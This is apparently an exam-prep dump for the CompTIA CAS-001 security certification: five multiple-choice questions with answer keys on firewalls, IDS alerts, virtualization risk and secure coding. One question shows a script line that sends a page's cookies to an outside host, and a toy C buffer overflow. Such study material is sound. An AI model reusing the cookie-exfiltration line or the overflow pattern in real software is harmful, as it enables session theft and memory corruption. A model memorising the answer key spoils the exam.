



# CAS-001<sup>Q&As</sup>

CompTIA Advanced Security Practitioner

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### QUESTION 1

A large enterprise introduced a next generation firewall appliance into the Internet facing DMZ. All Internet traffic passes through this appliance. Four hours after implementation the network engineering team discovered that traffic through the DMZ now has un-acceptable latency, and is recommending that the new firewall be taken offline.

At what point in the implementation process should this problem have been discovered?

- A. During the product selection phase
- B. When testing the appliance
- C. When writing the RFP for the purchase process
- D. During the network traffic analysis phase

Correct Answer: B

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### QUESTION 2

Which of the following displays an example of a buffer overflow attack?

- A. `document.location=\\'http://site.comptia/cgi-bin/script.cgi?\\'+document.cookie`
- B. `Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b-1.dsc  
e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz  
d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz  
ddcba53dff08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb  
7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb  
b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb`
- C. `#include char *code = "AAAABBBBCCCCDDD"; //including the character '\\0\\' size = 16 bytes void main() {char buf[8]; strcpy(buf, code); }`
- D. Username: PassworD.

Correct Answer: C

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### QUESTION 3

At 10:35 a.m. a malicious user was able to obtain a valid authentication token which allowed read/write access to the backend database of a financial company.

At 10:45 a.m. the security administrator received multiple alerts from the company's statistical anomaly-based IDS about a company database administrator performing unusual transactions.

At 10:55 a.m. the security administrator resets the database administrator's password.

At 11:00 a.m. the security administrator is still receiving alerts from the IDS about unusual transactions from the same



user.

Which of the following is MOST likely the cause of the alerts?

- A. The IDS logs are compromised.
- B. The new password was compromised.
- C. An input validation error has occurred.
- D. A race condition has occurred.

Correct Answer: D

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#### QUESTION 4

The Chief Technology Officer (CTO) has decided that servers in the company datacenter should be virtualized to conserve physical space. The risk assurance officer is concerned that the project team in charge of virtualizing servers plans to co-mingle many guest operating systems with different security requirements to speed up the rollout and reduce the number of host operating systems or hypervisors required.

Which of the following BEST describes the risk assurance officer's concerns?

- A. Co-mingling guest operating system with different security requirements allows guest OS privilege elevation to occur within the guest OS via shared memory allocation with the host OS.
- B. Co-mingling of guest operating systems with different security requirements increases the risk of data loss if the hypervisor fails.
- C. A weakly protected guest OS combined with a host OS exploit increases the chance of a successful VMescape attack being executed, compromising the hypervisor and other guest OS.
- D. A weakly protected host OS will allow the hypervisor to become corrupted resulting in data throughput performance issues.

Correct Answer: C

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#### QUESTION 5

A security architect is assigned to a major software development project. The software development team has a history of writing bug prone, inefficient code, with multiple security flaws in every release. The security architect proposes implementing secure coding standards to the project manager.

The secure coding standards will contain detailed standards for:

- A. error handling, input validation, memory use and reuse, race condition handling, commenting, and preventing typical security problems.
- B. error prevention, requirements validation, memory use and reuse, commenting typical security problems, and testing code standards.



C. error elimination, trash collection, documenting race conditions, peer review, and typical security problems.

D. error handling, input validation, commenting, preventing typical security problems, managing customers, and documenting extra requirements.

Correct Answer: A

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